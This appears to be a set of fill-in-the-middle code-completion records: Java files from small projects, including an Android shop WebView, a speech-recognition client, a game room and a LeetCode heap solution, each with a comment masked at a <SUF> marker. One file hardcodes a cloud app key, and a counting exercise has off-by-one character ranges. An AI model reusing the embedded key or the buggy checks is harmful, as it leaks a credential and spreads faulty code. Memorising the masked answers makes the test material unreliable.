*/ @TableField(value = "plant_detail") private String plantDetail; /** * 作物详细信息 */ @TableField(value = "phone") private String phone; /** * 留言 */ @TableField(value = "message") private String message; /** * 回答 */ @TableField(value = "answer") private String answer; /** * */ @TableField(value = "status") private Integer status; @TableField(exist = false) private static final long serialVersionUID = 1L; }
0
439
9
493
10
521
10
493
10
648
16
false
false
false
false
false
true
57067_15
package com.example.cne_shop.activity; import android.content.Context; import android.content.Intent; import android.util.Log; import android.view.View; import android.webkit.JavascriptInterface; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.Toast; import com.example.cne_shop.R; import com.example.cne_shop.application.MyApplication; import com.example.cne_shop.base.BaseActivity; import com.example.cne_shop.bean.ShoppingCart; import com.example.cne_shop.bean.Ware; import com.example.cne_shop.contents.Contents; import com.example.cne_shop.fragment.CartFragment; import com.example.cne_shop.utils.CartProvider; import com.example.cne_shop.utils.JsonUtil; import com.example.cne_shop.widget.CnToolbar; import java.io.Serializable; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import cn.sharesdk.onekeyshare.OnekeyShare; import dmax.dialog.SpotsDialog; import static com.example.cne_shop.fragment.CartFragment.ORDER_WARES; /** * Created by 博 on 2017/8/24. */ public class WareDetialActivity extends BaseActivity { @BindView(R.id.webView) WebView webView ; @BindView(R.id.toolBar) CnToolbar cnToolbar ; private Ware mWare ; private WebAppInterface mAppInterface ; private CartProvider cartProvider ; private SpotsDialog dialog ; @Override protected int getContentViewId() { return R.layout.ware_detial_activity; } @Override protected void initView() { Serializable serializable = getIntent().getSerializableExtra(Contents.WARE); if (serializable == null) { this.finish(); } dialog = new SpotsDialog(this , "loading..."); dialog.show(); mWare = (Ware) serializable ; cartProvider = CartProvider.getCartProvider(this) ; initWebView() ; } @Override protected void addListener() { addBackButtonListener() ; addShareButtonListener() ; } @Override protected void beforLayout() { } private void addShareButtonListener(){ cnToolbar.setRightButtonIcOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { showShare() ; } }); } private void addBackButtonListener(){ cnToolbar.setLeftButtonIcOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { WareDetialActivity.this.finish(); } }); } class WC extends WebViewClient { @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); if (dialog!=null && dialog.isShowing()){ dialog.dismiss(); } mAppInterface.showDetail(); } } private void initWebView(){ WebSettings settings = webView.getSettings() ; settings.setJavaScriptEnabled(true); settings.setBlockNetworkImage(false); settings.setAppCacheEnabled(true); webView.loadUrl(Contents.API.SHOW_WARE_DETIAL); mAppInterface = new WebAppInterface(this) ; webView.addJavascriptInterface(mAppInterface , "appInterface"); webView.setWebViewClient(new WC()); } class WebAppInterface{ private Context mContext ; public WebAppInterface(Context context) { this.mContext = context ; } @JavascriptInterface public void showDetail(){ runOnUiThread(new Runnable() { @Override public void run() { webView.loadUrl("javascript:showDetail("+mWare.getId()+")"); } }); } @JavascriptInterface public void buy(long id){ Toast.makeText(mContext , "立即购买" , Toast.LENGTH_SHORT).show(); //去结算 Intent intent = new Intent(WareDetialActivity.this , NewOrderActivity.class) ; Log.d("----" ,"--------------mWare.getPrice()---------------" + mWare.getPrice()) ; intent.putExtra( CartFragment.SUM_PRICE , Float.valueOf( mWare.getPrice() ) ); intent.putExtra( ORDER_WARES ,getOrderWares() ) ; startActivityWithLogin(intent , true , MyApplication.START_NO_RESULT); } @JavascriptInterface public void addToCart(long id){ cartProvider.put(mWare); Toast.makeText(mContext , "添加购物车" , Toast.LENGTH_SHORT).show(); } } public String getOrderWares(){ List<ShoppingCart> orderWares = new ArrayList<>() ; ShoppingCart shoppingCart = new ShoppingCart() ; shoppingCart.setCount(1); shoppingCart.setChecked(true); shoppingCart.setId(mWare.getId()); shoppingCart.setImgUrl(mWare.getImgUrl()); shoppingCart.setPrice(mWare.getPrice()); orderWares.add(shoppingCart) ; return JsonUtil.toJSON(orderWares); } private void showShare() { OnekeyShare oks = new OnekeyShare(); //关闭sso授权 oks.disableSSOWhenAuthorize(); // 分享时Notification的图标和文字 2.5.9以后的版本不 调用此方法 //oks.setNotification(R.drawable.ic_launcher, getString(R.string.app_name)); // title标题,印象笔记、邮箱、信息、微信、人人网和QQ空间使用 oks.setTitle("分享"); // titleUrl是标题的网络链接,仅在人人网和QQ空间使用 oks.setTitleUrl("http://sharesdk.cn"); // text是分享文本,所有平台都需要这个字段 oks.setText(mWare.getName()); // imagePath是图片的本地路径,Linked-In以外的平台都支持此参数 // oks.setImagePath(mWare.getImgUrl());//确保SDcard下面存在此张图片 oks.setImageUrl(mWare.getImgUrl()); // url仅在微信(包括好友和朋友圈)中使用 oks.setUrl("http://sharesdk.cn"); // comment是我对这条分享的评论,仅在人人网和QQ空间使用 oks.setComment("很好的商品哟"); // site是分享此内容的网站名称,仅在QQ空间使用 oks.setSite(getString(R.string.app_name)); // siteUrl是分享此内容的网站地址,仅在QQ空间使用 oks.setSiteUrl("http://sharesdk.cn"); // 启动分享GUI oks.show(this); } }
15829238397/CN5E-shop
app/src/main/java/com/example/cne_shop/activity/WareDetialActivity.java
1,628
// siteUrl是分享此内容的网站地址,仅在QQ空间使用
line_comment
zh-cn
package com.example.cne_shop.activity; import android.content.Context; import android.content.Intent; import android.util.Log; import android.view.View; import android.webkit.JavascriptInterface; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.widget.Toast; import com.example.cne_shop.R; import com.example.cne_shop.application.MyApplication; import com.example.cne_shop.base.BaseActivity; import com.example.cne_shop.bean.ShoppingCart; import com.example.cne_shop.bean.Ware; import com.example.cne_shop.contents.Contents; import com.example.cne_shop.fragment.CartFragment; import com.example.cne_shop.utils.CartProvider; import com.example.cne_shop.utils.JsonUtil; import com.example.cne_shop.widget.CnToolbar; import java.io.Serializable; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import cn.sharesdk.onekeyshare.OnekeyShare; import dmax.dialog.SpotsDialog; import static com.example.cne_shop.fragment.CartFragment.ORDER_WARES; /** * Created by 博 on 2017/8/24. */ public class WareDetialActivity extends BaseActivity { @BindView(R.id.webView) WebView webView ; @BindView(R.id.toolBar) CnToolbar cnToolbar ; private Ware mWare ; private WebAppInterface mAppInterface ; private CartProvider cartProvider ; private SpotsDialog dialog ; @Override protected int getContentViewId() { return R.layout.ware_detial_activity; } @Override protected void initView() { Serializable serializable = getIntent().getSerializableExtra(Contents.WARE); if (serializable == null) { this.finish(); } dialog = new SpotsDialog(this , "loading..."); dialog.show(); mWare = (Ware) serializable ; cartProvider = CartProvider.getCartProvider(this) ; initWebView() ; } @Override protected void addListener() { addBackButtonListener() ; addShareButtonListener() ; } @Override protected void beforLayout() { } private void addShareButtonListener(){ cnToolbar.setRightButtonIcOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { showShare() ; } }); } private void addBackButtonListener(){ cnToolbar.setLeftButtonIcOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { WareDetialActivity.this.finish(); } }); } class WC extends WebViewClient { @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); if (dialog!=null && dialog.isShowing()){ dialog.dismiss(); } mAppInterface.showDetail(); } } private void initWebView(){ WebSettings settings = webView.getSettings() ; settings.setJavaScriptEnabled(true); settings.setBlockNetworkImage(false); settings.setAppCacheEnabled(true); webView.loadUrl(Contents.API.SHOW_WARE_DETIAL); mAppInterface = new WebAppInterface(this) ; webView.addJavascriptInterface(mAppInterface , "appInterface"); webView.setWebViewClient(new WC()); } class WebAppInterface{ private Context mContext ; public WebAppInterface(Context context) { this.mContext = context ; } @JavascriptInterface public void showDetail(){ runOnUiThread(new Runnable() { @Override public void run() { webView.loadUrl("javascript:showDetail("+mWare.getId()+")"); } }); } @JavascriptInterface public void buy(long id){ Toast.makeText(mContext , "立即购买" , Toast.LENGTH_SHORT).show(); //去结算 Intent intent = new Intent(WareDetialActivity.this , NewOrderActivity.class) ; Log.d("----" ,"--------------mWare.getPrice()---------------" + mWare.getPrice()) ; intent.putExtra( CartFragment.SUM_PRICE , Float.valueOf( mWare.getPrice() ) ); intent.putExtra( ORDER_WARES ,getOrderWares() ) ; startActivityWithLogin(intent , true , MyApplication.START_NO_RESULT); } @JavascriptInterface public void addToCart(long id){ cartProvider.put(mWare); Toast.makeText(mContext , "添加购物车" , Toast.LENGTH_SHORT).show(); } } public String getOrderWares(){ List<ShoppingCart> orderWares = new ArrayList<>() ; ShoppingCart shoppingCart = new ShoppingCart() ; shoppingCart.setCount(1); shoppingCart.setChecked(true); shoppingCart.setId(mWare.getId()); shoppingCart.setImgUrl(mWare.getImgUrl()); shoppingCart.setPrice(mWare.getPrice()); orderWares.add(shoppingCart) ; return JsonUtil.toJSON(orderWares); } private void showShare() { OnekeyShare oks = new OnekeyShare(); //关闭sso授权 oks.disableSSOWhenAuthorize(); // 分享时Notification的图标和文字 2.5.9以后的版本不 调用此方法 //oks.setNotification(R.drawable.ic_launcher, getString(R.string.app_name)); // title标题,印象笔记、邮箱、信息、微信、人人网和QQ空间使用 oks.setTitle("分享"); // titleUrl是标题的网络链接,仅在人人网和QQ空间使用 oks.setTitleUrl("http://sharesdk.cn"); // text是分享文本,所有平台都需要这个字段 oks.setText(mWare.getName()); // imagePath是图片的本地路径,Linked-In以外的平台都支持此参数 // oks.setImagePath(mWare.getImgUrl());//确保SDcard下面存在此张图片 oks.setImageUrl(mWare.getImgUrl()); // url仅在微信(包括好友和朋友圈)中使用 oks.setUrl("http://sharesdk.cn"); // comment是我对这条分享的评论,仅在人人网和QQ空间使用 oks.setComment("很好的商品哟"); // site是分享此内容的网站名称,仅在QQ空间使用 oks.setSite(getString(R.string.app_name)); // si <SUF> oks.setSiteUrl("http://sharesdk.cn"); // 启动分享GUI oks.show(this); } }
0
1,370
16
1,628
16
1,670
16
1,628
16
2,064
27
false
false
false
false
false
true
39718_2
package exercise; /** * Created by xdx on 2015/10/23. * //输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。 */ import java.util.Scanner; public class E7 { public static void main(String[] args) { System.out.println("请输入一行字符: "); Scanner scan = new Scanner(System.in); String s = scan.nextLine(); int other = 0; //其它 int digit = 0; //数字 int space = 0; //空格 int character = 0; //字母 int chinese = 0; //中文 for (int i = 0; i < s.length(); i++) { if (s.charAt(i) >= '0' && s.charAt(i) < '9') { digit++; //判断数字 } else if ((s.charAt(i) >= 'a' && s.charAt(i) < 'z') || (s.charAt(i) >= 'A' && s.charAt(i) <= 'Z')) { character++; //判断英文 } else if (s.charAt(i) >= '\u4e00' && s.charAt(i) <= '\u9fa5') { chinese++; //判断中文 } else if (s.charAt(i) == ' ') { space++; //判断空格 } else { other++; //判断其它 } } System.out.println("数字:" + digit + '个'); System.out.println("英文:" + character + '个'); System.out.println("中文:" + chinese + '个'); System.out.println("空格:" + space + '个'); System.out.println("其它:" + other + '个'); } }
16348104/16348104.github.com
java/src/exercise/E7.java
435
//判断英文
line_comment
zh-cn
package exercise; /** * Created by xdx on 2015/10/23. * //输入一行字符,分别统计出其中英文字母、空格、数字和其它字符的个数。 */ import java.util.Scanner; public class E7 { public static void main(String[] args) { System.out.println("请输入一行字符: "); Scanner scan = new Scanner(System.in); String s = scan.nextLine(); int other = 0; //其它 int digit = 0; //数字 int space = 0; //空格 int character = 0; //字母 int chinese = 0; //中文 for (int i = 0; i < s.length(); i++) { if (s.charAt(i) >= '0' && s.charAt(i) < '9') { digit++; //判断数字 } else if ((s.charAt(i) >= 'a' && s.charAt(i) < 'z') || (s.charAt(i) >= 'A' && s.charAt(i) <= 'Z')) { character++; //判断 <SUF> } else if (s.charAt(i) >= '\u4e00' && s.charAt(i) <= '\u9fa5') { chinese++; //判断中文 } else if (s.charAt(i) == ' ') { space++; //判断空格 } else { other++; //判断其它 } } System.out.println("数字:" + digit + '个'); System.out.println("英文:" + character + '个'); System.out.println("中文:" + chinese + '个'); System.out.println("空格:" + space + '个'); System.out.println("其它:" + other + '个'); } }
0
391
3
435
4
448
3
435
4
520
5
false
false
false
false
false
true
44682_3
package shendi.game.whoisthespy.room; import java.util.Set; import shendi.game.whoisthespy.player.Player; import shendi.game.whoisthespy.player.PlayerType; /** * 默认房间(警杀模式) * @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a> * @version 1.0 */ public class DefaultRoom extends Room { public DefaultRoom(String sessionId) { //默认六个人 super(sessionId, 6); } @Override protected void start() { //分配职位 一警察 一杀手 int police = (int)(Math.random() * 100 % 6) + 1; int slayer = (int)(Math.random() * 100 % 6) + 1; //警察杀手不能同一人 while (police == slayer) slayer = (int)(Math.random() * 100 % 6) + 1; Set<Integer> keys = getPlayers().keySet(); for (int key : keys) { Player player = new Player(key); if (key == police) { //警察 player.setType(PlayerType.警察); } else if (key == slayer) { //杀手 player.setType(PlayerType.杀手); } startPlayers.put(getPlayers().get(key), player); } //提醒用户的身份 startPlayers.forEach((k,v) -> { sendInfoByUser(k, "游戏开始了!你的身份是:" + v.getType()); }); //开始游戏逻辑 switchGameState(); } @Override protected void stop() { //清除状态 startPlayers.clear(); } @Override protected Player getPlayer(String sessionId) { return startPlayers.get(sessionId); } }
1711680493/Application
WhoIsTheSpy/src/shendi/game/whoisthespy/room/DefaultRoom.java
515
//警察杀手不能同一人
line_comment
zh-cn
package shendi.game.whoisthespy.room; import java.util.Set; import shendi.game.whoisthespy.player.Player; import shendi.game.whoisthespy.player.PlayerType; /** * 默认房间(警杀模式) * @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a> * @version 1.0 */ public class DefaultRoom extends Room { public DefaultRoom(String sessionId) { //默认六个人 super(sessionId, 6); } @Override protected void start() { //分配职位 一警察 一杀手 int police = (int)(Math.random() * 100 % 6) + 1; int slayer = (int)(Math.random() * 100 % 6) + 1; //警察 <SUF> while (police == slayer) slayer = (int)(Math.random() * 100 % 6) + 1; Set<Integer> keys = getPlayers().keySet(); for (int key : keys) { Player player = new Player(key); if (key == police) { //警察 player.setType(PlayerType.警察); } else if (key == slayer) { //杀手 player.setType(PlayerType.杀手); } startPlayers.put(getPlayers().get(key), player); } //提醒用户的身份 startPlayers.forEach((k,v) -> { sendInfoByUser(k, "游戏开始了!你的身份是:" + v.getType()); }); //开始游戏逻辑 switchGameState(); } @Override protected void stop() { //清除状态 startPlayers.clear(); } @Override protected Player getPlayer(String sessionId) { return startPlayers.get(sessionId); } }
0
434
6
515
9
490
6
515
9
647
16
false
false
false
false
false
true
24904_1
package shendi.kit.util; /** * 单链表结点,拥有数据与指向下一个结点的指针. * @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a> * @version 1.0 */ public class Node<E> { /** 结点数据 */ E data; /** 指向下一个结点的指针 */ Node<E> next; /** * 创建结点 * @param data {@link #data} * @param next {@link #next} */ public Node (E data, Node<E> next) { this.data = data; this.next = next; } }
1711680493/ShendiKit
src/shendi/kit/util/Node.java
195
/** 结点数据 */
block_comment
zh-cn
package shendi.kit.util; /** * 单链表结点,拥有数据与指向下一个结点的指针. * @author Shendi <a href='tencent://AddContact/?fromId=45&fromSubId=1&subcmd=all&uin=1711680493'>QQ</a> * @version 1.0 */ public class Node<E> { /** 结点数 <SUF>*/ E data; /** 指向下一个结点的指针 */ Node<E> next; /** * 创建结点 * @param data {@link #data} * @param next {@link #next} */ public Node (E data, Node<E> next) { this.data = data; this.next = next; } }
0
177
5
195
5
201
6
195
5
232
7
false
false
false
false
false
true
33914_9
package com.example.ailive; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Context; import android.media.AudioFormat; import android.media.AudioRecord; import android.media.MediaRecorder; import android.os.Handler; import android.os.HandlerThread; import android.util.Log; import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.JSONObject; import com.alibaba.idst.nui.AsrResult; import com.alibaba.idst.nui.CommonUtils; import com.alibaba.idst.nui.Constants; import com.alibaba.idst.nui.INativeNuiCallback; import com.alibaba.idst.nui.KwsResult; import com.alibaba.idst.nui.NativeNui; import com.example.ailive.token.AccessToken; import java.io.IOException; import java.util.Arrays; import java.util.List; import java.util.Objects; public class ASR implements INativeNuiCallback { // ASR 相关的方法和变量 private static final String APPKEY = "8Xu8cELorObhV2cQ"; String token; private static final String URL = "wss://nls-gateway.aliyuncs.com:443/ws/v1"; private AudioRecord mAudioRecorder; private Context context; private UI ui; NativeNui nui_instance = new NativeNui(); final static int WAVE_FRAM_SIZE = 20 * 2 * 1 * 16000 / 1000; //20ms audio for 16k/16bit/mono final static int SAMPLE_RATE = 16000; AccessToken accessToken = AccessToken.getInstance(); private GPT gpt; public ASR(Context context, UI ui) { this.context = context; this.ui = ui; gpt = new GPT(ui, context); Thread th = new Thread() { @Override public void run() { try { accessToken.apply(); } catch (IOException e) { e.printStackTrace(); } } }; th.start(); try { th.join(5000); } catch (InterruptedException e) { e.printStackTrace(); } token = accessToken.getToken(); } private static final List<String> STOP_COMMANDS = Arrays.asList("勾勒", "够了", "狗了", "勾了", "狗乐", "构乐", "购乐", "勾乐", "狗拉", "够拉", "勾拉", "过了", "国乐", "锅了", "郭乐", "果乐", "国拉", "过拉", "郭拉", "锅拉", "高子", "钩子", "停下来", "停下", "听下", "挺下", "停停停", "停下", "听下", "挺下", "亭下", "庭下", "廷下", "艇下", "葶下", "汀下", "铤下", "蜓下", "町下", "婷下", "停车", "听车", "挺车", "亭车", "庭车", "廷车", "艇车", "葶车", "汀车", "铤车", "蜓车", "町车", "婷车", "停步", "听步", "挺步", "亭步", "庭步", "廷步", "艇步", "葶步", "汀步", "铤步", "蜓步", "町步", "婷步" // ... 其他可能的词 ); @SuppressLint("MissingPermission") public void doInit() { mAudioRecorder = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, SAMPLE_RATE, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, WAVE_FRAM_SIZE * 4000); String workspace = CommonUtils.getModelPath(context); int ret = nui_instance.initialize(this, genInitParams(workspace), Constants.LogLevel.LOG_LEVEL_VERBOSE, false); nui_instance.setParams(genParams()); } @Override public void onNuiEventCallback(Constants.NuiEvent nuiEvent, int resultCode, int arg2, KwsResult kwsResult, AsrResult asrResult) { if (nuiEvent == Constants.NuiEvent.EVENT_TRANSCRIBER_COMPLETE) { ui.setButtonState(ui.getStartButton(), true); ui.setButtonState(ui.getCancelButton(), false); return; } if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_START) { return; } if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_END) { try { org.json.JSONObject mainJsonObject = new org.json.JSONObject(asrResult.asrResult); if (!mainJsonObject.has("payload")) { return; } org.json.JSONObject payloadObject = mainJsonObject.getJSONObject("payload"); if (!payloadObject.has("result")) { return; } String resultValue = payloadObject.getString("result"); // 检查结果长度 if (resultValue.length() < 5) { for (String stopCommand : STOP_COMMANDS) { if (resultValue.contains(stopCommand)) { gpt.onStop(); gpt.onStart(); } } return; // 小于5个字,不进行任何处理,直接返回 } ui.autonomousTime=Long.MAX_VALUE; gpt.onStop(); gpt.onStart(); ui.showText(ui.getAskView(), "我:" + resultValue); processInputText(resultValue); } catch (Exception e) { e.printStackTrace(); } return; } if (nuiEvent == Constants.NuiEvent.EVENT_ASR_ERROR) { return; } } public void processInputText(String text) { gpt.setAsrText(text); gpt.processAsrText(); } @Override public int onNuiNeedAudioData(byte[] buffer, int len) { return mAudioRecorder.read(buffer, 0, len); } @Override public void onNuiAudioStateChanged(Constants.AudioState audioState) { if (audioState == Constants.AudioState.STATE_OPEN) { mAudioRecorder.startRecording(); return; } if (audioState == Constants.AudioState.STATE_CLOSE) { mAudioRecorder.release(); return; } if (audioState == Constants.AudioState.STATE_PAUSE) { mAudioRecorder.stop(); } } @Override public void onNuiAudioRMSChanged(float v) { } @Override public void onNuiVprEventCallback(Constants.NuiVprEvent nuiVprEvent) { } String genInitParams(String workspace) { JSONObject object = new JSONObject(); object.put("app_key", APPKEY); object.put("format", "MP3"); object.put("token", token); object.put("device_id", Utils.getDeviceId()); object.put("url", URL); object.put("workspace", workspace); object.put("service_mode", Constants.ModeFullCloud); return object.toString(); } private String genParams() { // 接口说明可见https://help.aliyun.com/document_detail/173528.html JSONObject params = new JSONObject(); JSONObject nls_config = new JSONObject(); nls_config.put("enable_intermediate_result", false); // 是否返回中间识别结果,默认值:false。 nls_config.put("enable_punctuation_prediction", true); // 是否在后处理中添加标点,默认值:false。 nls_config.put("max_sentence_silence", 2000); // 语音断句检测阈值,静音时长超过该阈值被认为断句。取值范围:200ms~2000ms,默认值:800ms。 nls_config.put("disfluency", true); // 过滤语气词,即声音顺滑,默认值false nls_config.put("speech_noise_threshold", 0.98); // 噪音参数阈值,取值范围:-1~+1。取值越接近+1,判定为噪音的越多,亦即有可能更多语音被当作噪音被拒绝掉。 params.put("nls_config", nls_config); params.put("service_type", Constants.kServiceTypeSpeechTranscriber); return params.toString(); } public void startDialog(Handler mHandler) { mHandler.post(new Runnable() { @Override public void run() { int ret = nui_instance.startDialog(Constants.VadMode.TYPE_P2T, genDialogParams()); } }); } private String genDialogParams() { String params = ""; try { JSONObject dialog_param = new JSONObject(); params = dialog_param.toString(); } catch (JSONException e) { e.printStackTrace(); } return params; } public void stopDialog(Handler mHandler) { mHandler.post(new Runnable() { @Override public void run() { int ret = nui_instance.stopDialog(); } }); } protected void onStart(Handler mHandler) { startDialog(mHandler); gpt.onStart(); } protected void onStop() { nui_instance.stopDialog(); gpt.onStop(); } public GPT getGpt() { return gpt; } }
17796225421/AILive
app/src/main/java/com/example/ailive/ASR.java
2,343
// 语音断句检测阈值,静音时长超过该阈值被认为断句。取值范围:200ms~2000ms,默认值:800ms。
line_comment
zh-cn
package com.example.ailive; import android.annotation.SuppressLint; import android.app.Activity; import android.content.Context; import android.media.AudioFormat; import android.media.AudioRecord; import android.media.MediaRecorder; import android.os.Handler; import android.os.HandlerThread; import android.util.Log; import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.JSONObject; import com.alibaba.idst.nui.AsrResult; import com.alibaba.idst.nui.CommonUtils; import com.alibaba.idst.nui.Constants; import com.alibaba.idst.nui.INativeNuiCallback; import com.alibaba.idst.nui.KwsResult; import com.alibaba.idst.nui.NativeNui; import com.example.ailive.token.AccessToken; import java.io.IOException; import java.util.Arrays; import java.util.List; import java.util.Objects; public class ASR implements INativeNuiCallback { // ASR 相关的方法和变量 private static final String APPKEY = "8Xu8cELorObhV2cQ"; String token; private static final String URL = "wss://nls-gateway.aliyuncs.com:443/ws/v1"; private AudioRecord mAudioRecorder; private Context context; private UI ui; NativeNui nui_instance = new NativeNui(); final static int WAVE_FRAM_SIZE = 20 * 2 * 1 * 16000 / 1000; //20ms audio for 16k/16bit/mono final static int SAMPLE_RATE = 16000; AccessToken accessToken = AccessToken.getInstance(); private GPT gpt; public ASR(Context context, UI ui) { this.context = context; this.ui = ui; gpt = new GPT(ui, context); Thread th = new Thread() { @Override public void run() { try { accessToken.apply(); } catch (IOException e) { e.printStackTrace(); } } }; th.start(); try { th.join(5000); } catch (InterruptedException e) { e.printStackTrace(); } token = accessToken.getToken(); } private static final List<String> STOP_COMMANDS = Arrays.asList("勾勒", "够了", "狗了", "勾了", "狗乐", "构乐", "购乐", "勾乐", "狗拉", "够拉", "勾拉", "过了", "国乐", "锅了", "郭乐", "果乐", "国拉", "过拉", "郭拉", "锅拉", "高子", "钩子", "停下来", "停下", "听下", "挺下", "停停停", "停下", "听下", "挺下", "亭下", "庭下", "廷下", "艇下", "葶下", "汀下", "铤下", "蜓下", "町下", "婷下", "停车", "听车", "挺车", "亭车", "庭车", "廷车", "艇车", "葶车", "汀车", "铤车", "蜓车", "町车", "婷车", "停步", "听步", "挺步", "亭步", "庭步", "廷步", "艇步", "葶步", "汀步", "铤步", "蜓步", "町步", "婷步" // ... 其他可能的词 ); @SuppressLint("MissingPermission") public void doInit() { mAudioRecorder = new AudioRecord(MediaRecorder.AudioSource.VOICE_RECOGNITION, SAMPLE_RATE, AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, WAVE_FRAM_SIZE * 4000); String workspace = CommonUtils.getModelPath(context); int ret = nui_instance.initialize(this, genInitParams(workspace), Constants.LogLevel.LOG_LEVEL_VERBOSE, false); nui_instance.setParams(genParams()); } @Override public void onNuiEventCallback(Constants.NuiEvent nuiEvent, int resultCode, int arg2, KwsResult kwsResult, AsrResult asrResult) { if (nuiEvent == Constants.NuiEvent.EVENT_TRANSCRIBER_COMPLETE) { ui.setButtonState(ui.getStartButton(), true); ui.setButtonState(ui.getCancelButton(), false); return; } if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_START) { return; } if (nuiEvent == Constants.NuiEvent.EVENT_SENTENCE_END) { try { org.json.JSONObject mainJsonObject = new org.json.JSONObject(asrResult.asrResult); if (!mainJsonObject.has("payload")) { return; } org.json.JSONObject payloadObject = mainJsonObject.getJSONObject("payload"); if (!payloadObject.has("result")) { return; } String resultValue = payloadObject.getString("result"); // 检查结果长度 if (resultValue.length() < 5) { for (String stopCommand : STOP_COMMANDS) { if (resultValue.contains(stopCommand)) { gpt.onStop(); gpt.onStart(); } } return; // 小于5个字,不进行任何处理,直接返回 } ui.autonomousTime=Long.MAX_VALUE; gpt.onStop(); gpt.onStart(); ui.showText(ui.getAskView(), "我:" + resultValue); processInputText(resultValue); } catch (Exception e) { e.printStackTrace(); } return; } if (nuiEvent == Constants.NuiEvent.EVENT_ASR_ERROR) { return; } } public void processInputText(String text) { gpt.setAsrText(text); gpt.processAsrText(); } @Override public int onNuiNeedAudioData(byte[] buffer, int len) { return mAudioRecorder.read(buffer, 0, len); } @Override public void onNuiAudioStateChanged(Constants.AudioState audioState) { if (audioState == Constants.AudioState.STATE_OPEN) { mAudioRecorder.startRecording(); return; } if (audioState == Constants.AudioState.STATE_CLOSE) { mAudioRecorder.release(); return; } if (audioState == Constants.AudioState.STATE_PAUSE) { mAudioRecorder.stop(); } } @Override public void onNuiAudioRMSChanged(float v) { } @Override public void onNuiVprEventCallback(Constants.NuiVprEvent nuiVprEvent) { } String genInitParams(String workspace) { JSONObject object = new JSONObject(); object.put("app_key", APPKEY); object.put("format", "MP3"); object.put("token", token); object.put("device_id", Utils.getDeviceId()); object.put("url", URL); object.put("workspace", workspace); object.put("service_mode", Constants.ModeFullCloud); return object.toString(); } private String genParams() { // 接口说明可见https://help.aliyun.com/document_detail/173528.html JSONObject params = new JSONObject(); JSONObject nls_config = new JSONObject(); nls_config.put("enable_intermediate_result", false); // 是否返回中间识别结果,默认值:false。 nls_config.put("enable_punctuation_prediction", true); // 是否在后处理中添加标点,默认值:false。 nls_config.put("max_sentence_silence", 2000); // 语音 <SUF> nls_config.put("disfluency", true); // 过滤语气词,即声音顺滑,默认值false nls_config.put("speech_noise_threshold", 0.98); // 噪音参数阈值,取值范围:-1~+1。取值越接近+1,判定为噪音的越多,亦即有可能更多语音被当作噪音被拒绝掉。 params.put("nls_config", nls_config); params.put("service_type", Constants.kServiceTypeSpeechTranscriber); return params.toString(); } public void startDialog(Handler mHandler) { mHandler.post(new Runnable() { @Override public void run() { int ret = nui_instance.startDialog(Constants.VadMode.TYPE_P2T, genDialogParams()); } }); } private String genDialogParams() { String params = ""; try { JSONObject dialog_param = new JSONObject(); params = dialog_param.toString(); } catch (JSONException e) { e.printStackTrace(); } return params; } public void stopDialog(Handler mHandler) { mHandler.post(new Runnable() { @Override public void run() { int ret = nui_instance.stopDialog(); } }); } protected void onStart(Handler mHandler) { startDialog(mHandler); gpt.onStart(); } protected void onStop() { nui_instance.stopDialog(); gpt.onStop(); } public GPT getGpt() { return gpt; } }
0
2,018
43
2,343
48
2,389
44
2,343
48
2,931
67
false
false
false
false
false
true
42219_1
class Solution { // 时间复杂度:O(nlogk)O(nlogk)O(nlogk),nnn 表示数组的长度。首先,遍历一遍数组统计元素的频率,这一系列操作的时间复杂度是 O(n)O(n)O(n);接着,遍历用于存储元素频率的 map,如果元素的频率大于最小堆中顶部的元素,则将顶部的元素删除并将该元素加入堆中,这里维护堆的数目是 kkk,所以这一系列操作的时间复杂度是 O(nlogk)O(nlogk)O(nlogk) 的;因此,总的时间复杂度是 O(nlog⁡k)O(nlog⁡k)O(nlog⁡k)。 // 空间复杂度:O(n)O(n)O(n),最坏情况下(每个元素都不同),map 需要存储 nnn 个键值对,优先队列需要存储 kkk 个元素,因此,空间复杂度是 O(n)O(n)O(n)。 public int[] topKFrequent(int[] nums, int k) { // 使用字典,统计每个元素出现的次数,元素为键,元素出现的次数为值 HashMap<Integer,Integer> map = new HashMap(); for(int num : nums){ if (map.containsKey(num)) { map.put(num, map.get(num) + 1); } else { map.put(num, 1); } } // 遍历map,用最小堆保存频率最大的k个元素 PriorityQueue<Integer> pq = new PriorityQueue<>(new Comparator<Integer>() { @Override public int compare(Integer a, Integer b) { return map.get(a) - map.get(b); } }); for (Integer key : map.keySet()) { if (pq.size() < k) { pq.add(key); } else if (map.get(key) > map.get(pq.peek())) { pq.remove(); pq.add(key); } } // 取出最小堆中的元素 List<Integer> res = new ArrayList<>(); while (!pq.isEmpty()) { res.add(pq.remove()); } return res.stream().mapToInt(Integer::valueOf).toArray(); } }
1793523411/leetcode
code/347/java/Solution.java
539
// 空间复杂度:O(n)O(n)O(n),最坏情况下(每个元素都不同),map 需要存储 nnn 个键值对,优先队列需要存储 kkk 个元素,因此,空间复杂度是 O(n)O(n)O(n)。
line_comment
zh-cn
